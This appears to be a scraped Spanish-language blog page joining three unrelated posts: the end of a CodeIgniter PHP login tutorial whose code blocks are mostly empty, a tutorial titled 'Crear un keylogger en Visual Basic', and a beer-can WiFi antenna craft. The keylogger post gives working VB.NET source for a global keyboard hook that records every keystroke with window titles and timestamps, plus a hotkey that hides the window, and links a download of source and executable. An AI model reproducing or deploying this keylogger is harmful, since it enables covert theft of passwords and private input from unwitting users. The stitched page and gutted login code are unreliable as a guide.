Por ejemplo, si estamos haciendo un sistema web para un periódico, nos interesará que los periodistas puedan ingresar al sistema (mediante un usuario y password) y puedan ingresar noticias.... Por supuesto, esta función debería ser accesible únicamente por periodistas y no por un lector común.

Funcionalidades


Permitir acceso a determinada información y utilidades únicamente a determinados usuarios (aquellos que se encuentren registrados en una tabla de base de datos Mysql)
Mensaje de error cuando falta rellenar algún campo de la pantalla de acceso
Mensaje de error cuando los datos ingresados no coinciden con ningún usuario registrado en la base de datos.
Recordar los datos previamente ingresados por el usuario cuando éste no supera el login y tenemos que volver a presentarle la pantalla de acceso.


Explicación técnica


Como pueden observar, los códigos del script se encuentran con comentarios. Cada sentencia importante tiene su explicación de que función cumple. Lo que intentaremos ahora es hacer una explicación general de cómo funciona el script; como si fuera un cuento...

Comencemos con la pantalla de acceso "login.php", donde el usuario podrá ingresar sus datos (usuario y password). Recordemos que todo lo que sea interacción con el usuario (entrada y salida de datos) lo trabajamos con las vistas (capa presentación).

Lo importante aquí es la sentencia
Código :


donde creamos nuestro formulario html y especificamos que sus datos deben ser enviados y procesados por el método "login" del controlador "php". La sentencia form_open es de CodeIgniter.

Otro punto importante de la vista es cuando creamos los campos (serían las cajas de texto donde el usuario podrá ingresar los datos):
Código :

Aquí estamos creando un campo de texto llamado "maillogin". La sentencia "set_value" nos sirve para recordar los datos rellenados por el usuario en caso que su acceso no sea válido y tengamos que volver a presentarle la pantalla de acceso. Es un valor agregado para dar mejor usabilidad a los usuarios.

Luego pasemos al controlador "php.php". Esta es la parte más compleja del script, por tal motivo intenté poner comentarios a cada una de las y facilitar así su comprensión. Te recomiendo leer los comentarios directo en el código.

El controlador (php.php) hace lo que hace es tomar los datos provenientes del formulario, hacer las validaciones, consultar al modelo (usuarios_model.php) si el usuario existe en la base de datos y su password es válida. Por último, decide si el usuario corresponde que pueda acceder, o no, y comunica su decisión a la vista (login.php) para que el usuario vea la respuesta en su pantalla.

Me interesa remarcar aquí algunas sentencias y declaraciones puntuales que son muy básicas de php y te servirán en todo sistema web que desarrolles.

Código :
$_POST['maillogin']
(sirve para tomar los valores provenientes del formulario, en este caso se toma el valor del campo "maillogin"

Código :
$this->load->model('usuarios_model'); (sirve para cargar el modelo usuarios_model y poder utilizar sus recursos) this->usuarios_model->ValidarUsuario($_POST['maillogin'],$_POST['passwordlogin']);
(ejecuta el método "ValidarUsuario" de nuestro modelo "usuarios_model" y le pasa los dos parámetros. )

En el próximo artículo continuaremos mejorando este script de login. Por ejemplo, estudiaremos como hacer para que el usuario pueda acceder a muchas pantallas de información restringida sin tener que poner siempre sus datos de login (únicamente ingresarlos la primer vez).

Espero que lo disfruten, les sea útil para sus proyectos y principalmente los ayude a continuar aprendiendo

domingo, 21 de agosto de 2011

Crear un keylogger en Visual Basic


NO ME HAGO RESPONSABLE DEL USO QUE LE DEN A ESTA INFO!!
xDDD

Aclarado el punto, empecemos.
Configurando la aplicación:

Antes de empezar, creamos un formulario y le añadimos un botón y un textbox con la propiedad multilinea activada, debe quedar así:


Lo primero sera importar las funciones de las API de windows y declarar las variables globales.

Funciones que usaremos:
SetWindowsHookEx()
CallNextHookEx()
UnhookWindowsHookEx()
GetForegroundWindow()
GetWindowText()

#Region "importamos las funciones de la API de windows"
Private Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Integer) As Integer
Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal IdHook As Integer, ByVal lpfn As KeyboardHookDelegate, ByVal hmod As Integer, ByVal dwThreadID As Integer) As Integer
Private Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Integer, ByVal nCode As Integer, ByVal wParam As Integer, ByVal lParam As KBDLLHOOKSTRUCT) As Integer
Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Int32

Private Delegate Function KeyboardHookDelegate(ByVal code As Integer, ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) As Integer

La función KeyboardHookDelegate() Se comporta como un tipo de puntero a una función de que será llamada cuando se genera un evento.


Ahora procederemos a declarar constantes, estructuras y enumeraciones

Private Const WM_KEYUP As Integer = &H101
Private Const WM_KEYDOWN As Short = &H100S
Private Const WM_SYSKEYDOWN As Integer = &H104
Private Const WM_SYSKEYUP As Integer = &H105

Private Structure KBDLLHOOKSTRUCT
Public vkCode As Integer
Public scanCode As Integer
Public flags As Integer
Public time As Integer
Public dwExtrainfo As Integer
End Structure

#Region "Teclas"
Enum VirtualKey


K_Return = &HD
K_Backspace = &H8
K_Space = &H20
K_Tab = &H9
K_Esc = &H1B

K_Control = &H11
K_LControl = &HA2
K_RControl = &HA3

K_Delete = &H2E
K_End = &H23
K_Home = &H24
K_Insert = &H2D

K_Shift = &H10
K_LShift = &HA0
K_RShift = &HA1

K_Pause = &H13
K_PrintScreen = 44

K_LWin = &H5B
K_RWin = &H5C

K_Alt = &H12
K_LAlt = &HA4
K_RAlt = &HA5

K_NumLock = &H90
K_CapsLock = &H14
'Flechas
K_Up = &H26
K_Down = &H28
K_Right = &H27
K_Left = &H25


K_F1 = &H70
K_F2 = &H71
K_F3 = &H72
K_F4 = &H73
K_F5 = &H74
K_F6 = &H75
K_F7 = &H76
K_F8 = &H77
K_F9 = &H78
K_F10 = &H79
K_F11 = &H7A
K_F12 = &H7B
K_F13 = &H7C
K_F14 = &H7D
K_F15 = &H7E
K_F16 = &H7F
K_F17 = &H80
K_F18 = &H81
K_F19 = &H82
K_F20 = &H83
K_F21 = &H84
K_F22 = &H85
K_F23 = &H86
K_F24 = &H87


K_Numpad0 = &H60
K_Numpad1 = &H61
K_Numpad2 = &H62
K_Numpad3 = &H63
K_Numpad4 = &H64
K_Numpad5 = &H65
K_Numpad6 = &H66
K_Numpad7 = &H67
K_Numpad8 = &H68
K_Numpad9 = &H69

K_Num_Add = &H6B
K_Num_Divide = &H6F
K_Num_Multiply = &H6A
K_Num_Subtract = &H6D
K_Num_Decimal = &H6E

'Caracteres y Números
K_0 = &H30
K_1 = &H31
K_2 = &H32
K_3 = &H33
K_4 = &H34
K_5 = &H35
K_6 = &H36
K_7 = &H37
K_8 = &H38
K_9 = &H39
K_A = &H41
K_B = &H42
K_C = &H43
K_D = &H44
K_E = &H45
K_F = &H46
K_G = &H47
K_H = &H48
K_I = &H49
K_J = &H4A
K_K = &H4B
K_L = &H4C
K_M = &H4D
K_N = &H4E
K_O = &H4F
K_P = &H50
K_Q = &H51
K_R = &H52
K_S = &H53
K_T = &H54
K_U = &H55
K_V = &H56
K_W = &H57
K_X = &H58
K_Y = &H59
K_Z = &H5A


K_Subtract = 189
K_Decimal = 190

End Enum
#End Region

Las Constantes: WM_KEYUP, WM_KEYDOWN, WM_SYSUP, WM_SYSDOWN, especifican el tipo de evento de teclado que se ha generado.


La Estructura KBDLLHOOKSTRUCT es una estructura especial que contiene información acerca de la tecla presionada.


El Enum Virtual key es una enumeración de todas las teclas para su fácil acceso.


Las variables Globales

Private KeyboardHandle As IntPtr = 0
Private LastCheckedForegroundTitle As String = ""
Private callback As KeyboardHookDelegate = Nothing
Private KeyLog As String

-LastCheckedForegroundTitle: Aquí se almacenará el titulo de la ventana de donde obtenemos las pulsaciones.
-KeyLog: variable de cadena donde se almacenará todo lo obtenido hasta el momento, que debería ser guardado en un archivo de texto.
-callback: puntero a la función que recibirá el evento.


***********************

Creando el "Gancho"

comenzaremos agregando esta función:
Public Sub EngancharTeclado()
callback = New KeyboardHookDelegate(AddressOf KeyboardCallBack)
KeyboardHandle = SetWindowsHookEx(13, callback, Process.GetCurrentProcess.MainModule.BaseAddress, 0)
End Sub
Como podemos ver, la función SetWindowsHookEx usa 4 parametros: el primero indica el tipo de gancho a crear (13 para un gancho de teclado de bajo nivel); el segundo parámetro indica el delegado de la función que va a ser llamada cuando se genera un evento; el tercero indica la dirección del modulo al cual se enviaran los eventos, así el sistema operativo sabe a cual aplicación enviar los eventos, el cuarto parámetro indica si el gancho es global(0) o si esta asociado con algún proceso(la dirección del proceso).


Añadimos también una función para saber si el teclado está enganchado o no:
Private Function Hooked()
Return KeyboardHandle <> 0
End Function

Manejando el evento de teclado
Ahora viene la parte interesante, crearemos la función que añadira las pulsaciones al textbox:
Private Function KeyboardCallBack(ByVal code As Integer, ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) As Integer
'Obtenemos el titulo
Dim TituloVentana = GetActiveWindowTitle()


If TituloVentana <> LastCheckedForegroundTitle Then
LastCheckedForegroundTitle = TituloVentana
'La ventana en la que se genero el evento y la fecha y hora
KeyLog &= vbCrLf & "----------- " & TituloVentana & " (" & Now.ToString() & ") ------------" & vbCrLf
End If

'Variable que contendrá la tecla presonada
Dim Tecla As String = ""

If wParam = WM_KEYDOWN Or wParam = WM_SYSKEYDOWN Then


If code >= 0 Then
'Si se presiona Ctrl + alt + S
If My.Computer.Keyboard.CtrlKeyDown And My.Computer.Keyboard.AltKeyDown And lParam.vkCode = VirtualKey.K_S Then
Me.Visible = Not Me.Visible 'Ocultamos o mostramos el formulari
Return 1
End If
End If

'Convertir la tecla presionada en un caracter
Select Case lParam.vkCode
Case VirtualKey.K_0 To VirtualKey.K_9
Tecla = ChrW(lParam.vkCode)
Case VirtualKey.K_A To VirtualKey.K_Z
Tecla = ChrW(lParam.vkCode + 32)
End Select
End If

'Añadir la tecla a la variable y de la variable al Textbox
KeyLog &= Tecla
TextBox1.AppendText(KeyLog)
Return CallNextHookEx(KeyboardHandle, code, wParam, lParam)

End Function

Private Function GetActiveWindowTitle() As String
Dim MyStr As String
MyStr = New String(Chr(0), 100)
GetWindowText(GetForegroundWindow, MyStr, 100)
MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)

Return MyStr

End Function


Desenganchando
Cuando no queramos que se registren las pulsaciones, tendremos esta función:
Public Sub Desenganchar()
If (Hooked()) Then
If UnhookWindowsHookEx(KeyboardHandle) <> 0 Then
KeyboardHandle = 0
End If
End If
End Sub

podríamos crear un botón, y en el código de ese botón añadir el codigo: Desenganchar() y eso hará que se detenga el keylogger.
Por último hacemos doble click en el botón que habiamos creado al principio y le damos doble click, luego le añadimos el siguiente código:

EngancharTeclado()

Bueno.. si quieren ver como funca..

Codigo fuente y el ejecutable:

http://www.mediafire.com/?4mqqw9hrhgnn8h1

POtenciar el WIFI con una lata de cerveza

Hola gente, aca les dejo las imagenes que hablan por si solas....

1. Lavar bien la Lata


2.Quitar el "abridor" o como se llame de la lata

3.Cortar mas o menos por la linea roja..

4. Sin llegar a cortarla en su totalidad!! (dejar como 2.5 cm cerca del agujero)

5. Cortar transversalmente por el lado opuesto a donde dejamos los 2.5cm sin cortar

6. (Opcional) Echar pegaloka o algun adhesivo para que la lata no se mueva de la base de la antena del router

Debería quedar algo así

YO LO ESTOY HACIENDO AHORA!!!!